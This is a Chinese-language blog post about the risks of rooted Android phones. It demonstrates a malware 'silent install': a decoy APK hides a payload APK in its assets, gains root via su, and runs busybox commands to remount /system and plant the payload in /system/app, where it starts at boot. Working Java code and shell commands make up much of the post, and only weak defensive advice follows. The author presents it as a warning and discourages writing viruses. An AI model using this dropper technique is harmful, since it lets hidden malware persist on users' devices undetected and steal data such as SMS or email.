android手機root後的安全問題 (一)

前提:你有一部已經root的android手機,並且手機中有busybox和superuser


導讀:

本文介紹一種簡單的病毒以及如何“防禦”。寫本博客的原因是:有無數用戶覺得root沒有什麼風險,或者風險不會降臨到自己頭上。這裏告訴大家,其實風險就在身邊!


這裏講的內容其實對於大多數開發者都不是什麼新鮮的事情了,使用的技術也非常一般和普遍。

雖然大家都知道可以這樣這樣,但是還是隨意下載軟件,不加小心,就會掉入陷阱。

有些人覺得,只要我下載軟件的時候檢查軟件所申請的權限就好了,其實沒有那麼簡單。


我們來看看如果一個軟件,獲得了一次root權限,那麼它可以作些什麼呢?

好吧,我們先來一次“靜默安裝”!

原理很簡單,基本上相當於把apk push到手機裏面,兩個選擇

data/app

system/app

如果我是病毒軟件,我肯定選擇push到system/app

我們需要製作兩個apk,一個是真正目的的(病毒,real.apk),另一個是假的殼子(fake.apk)

首先先製作real.apk,我們只是用來測試,所以這個apk沒有什麼實際內容(由於這裏無法上傳附件,請移步到 http://su1216.iteye.com/blog/1668734 下載real.apk)。

real.apk裏有一個receiver,用來監聽開機的廣播

  1. android.intent.action.BOOT_COMPLETED  

還有一個activity,沒有什麼實質內容,然後編譯出apk,待用。


下面來製作殼子

新建一個android工程,將之前的real.apk複製到assets目錄下

然後新建一個activity來測試

這個殼子的很簡單,它只負責把真實的應用安裝到用戶手機中,我們再細分一下,首先,將文件assets/real.apk提取出來,放到自己的私有目錄中,在本例子中的目錄爲data/data/com.example.fake/files,這一步是不需要任何權限的

[java] view plaincopy
  1. prepareButton.setOnClickListener(new View.OnClickListener() {  
  2.     public void onClick(View v) {  
  3.         File dataFolder = getFilesDir();  
  4.                 File jar = new File(dataFolder.getAbsolutePath() + "/real.apk");  
  5.                 copyFile("real.apk", jar, mResources);  
  6.     }  
  7. });  

其中copFile函數見附件(就是一個簡單的io讀寫操作),這裏只給出僞代碼

[java] view plaincopy
  1. InputStream myInput = null;  
  2. try  
  3.     myInput = resources.getAssets().open(filePath);  
  4.     ……  
  5. catch  
  6. ……  
  7. finally  
  8. ……  

第一步已經完成了,下一步請求root權限,然後將real.apk惡意安裝給用戶。

這裏需要使用到busybox,命令如下

busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk

之所以使用busybox,是因爲手機裏面可能沒有mount、cp、rm等命令(我的手機裏面就沒有)

當然superuser需要同意你使用root權限

至此,你的入侵行爲已經全部完成!

[java] view plaincopy
  1. installButton.setOnClickListener(new View.OnClickListener() {  
  2.         public void onClick(View v) {  
  3.             String packageName = getPackageName();  
  4.             String[] commands = {"busybox mount -o remount,rw /system",  
  5.                                  "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk",  
  6.                                  "busybox rm /data/data/" + packageName + "/files/real.apk"};  
  7.             Process process = null;  
  8.             DataOutputStream dataOutputStream = null;  
  9.   
  10.             try {  
  11.                 process = Runtime.getRuntime().exec("su");  
  12.                 dataOutputStream = new DataOutputStream(process.getOutputStream());  
  13.                 int length = commands.length;  
  14.                 for (int i = 0; i < length; i++) {  
  15.                     Log.e(TAG, "commands[" + i + "]:" + commands[i]);  
  16.                     dataOutputStream.writeBytes(commands[i] + "\n");  
  17.                 }  
  18.                 dataOutputStream.writeBytes("exit\n");  
  19.                 dataOutputStream.flush();  
  20.                 process.waitFor();  
  21.             } catch (Exception e) {  
  22.                 Log.e(TAG, "copy fail", e);  
  23.             } finally {  
  24.                 try {  
  25.                     if (dataOutputStream != null) {  
  26.                         dataOutputStream.close();  
  27.                     }  
  28.                     process.destroy();  
  29.                 } catch (Exception e) {  
  30.                 }  
  31.             }  
  32.         }  
  33.     });  
  34. }  

重啓手機之後,real.apk就能工作了,它會接收到開機廣播

如果你嵌入了更惡劣的代碼,比如偷發短信,竊取郵件,那麼用戶也是很難察覺的

real.apk在settings中會顯示在系統應用中,用戶不太會懷疑,即使懷疑了,他們也不敢輕易卸載!誰讓他們自己隨意刷rom呢,每個rom集成的軟件都不一樣。


如何防禦?!

我不知道如何防禦,最簡單的辦法就是,解壓你來路不明的apk文件,看看assets文件下有沒有什麼可疑文件。當然,病毒可能會去掉或者修改文件名的後綴!

我手機中安裝了卡巴斯基免費版,很可惜,它沒有查出病毒(即使你的real.apk嵌入更惡意的代碼)

大家可以試試其他殺毒軟件,比如……希望大家能給個反饋結果



請大家不要用root的手機隨意下載軟件,更不要以任何藉口製造任何病毒!



轉貼請保留以下鏈接

本人blog地址

http://su1216.iteye.com/

http://blog.csdn.net/su1216/

發佈了8 篇原創文章 · 獲贊 5 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章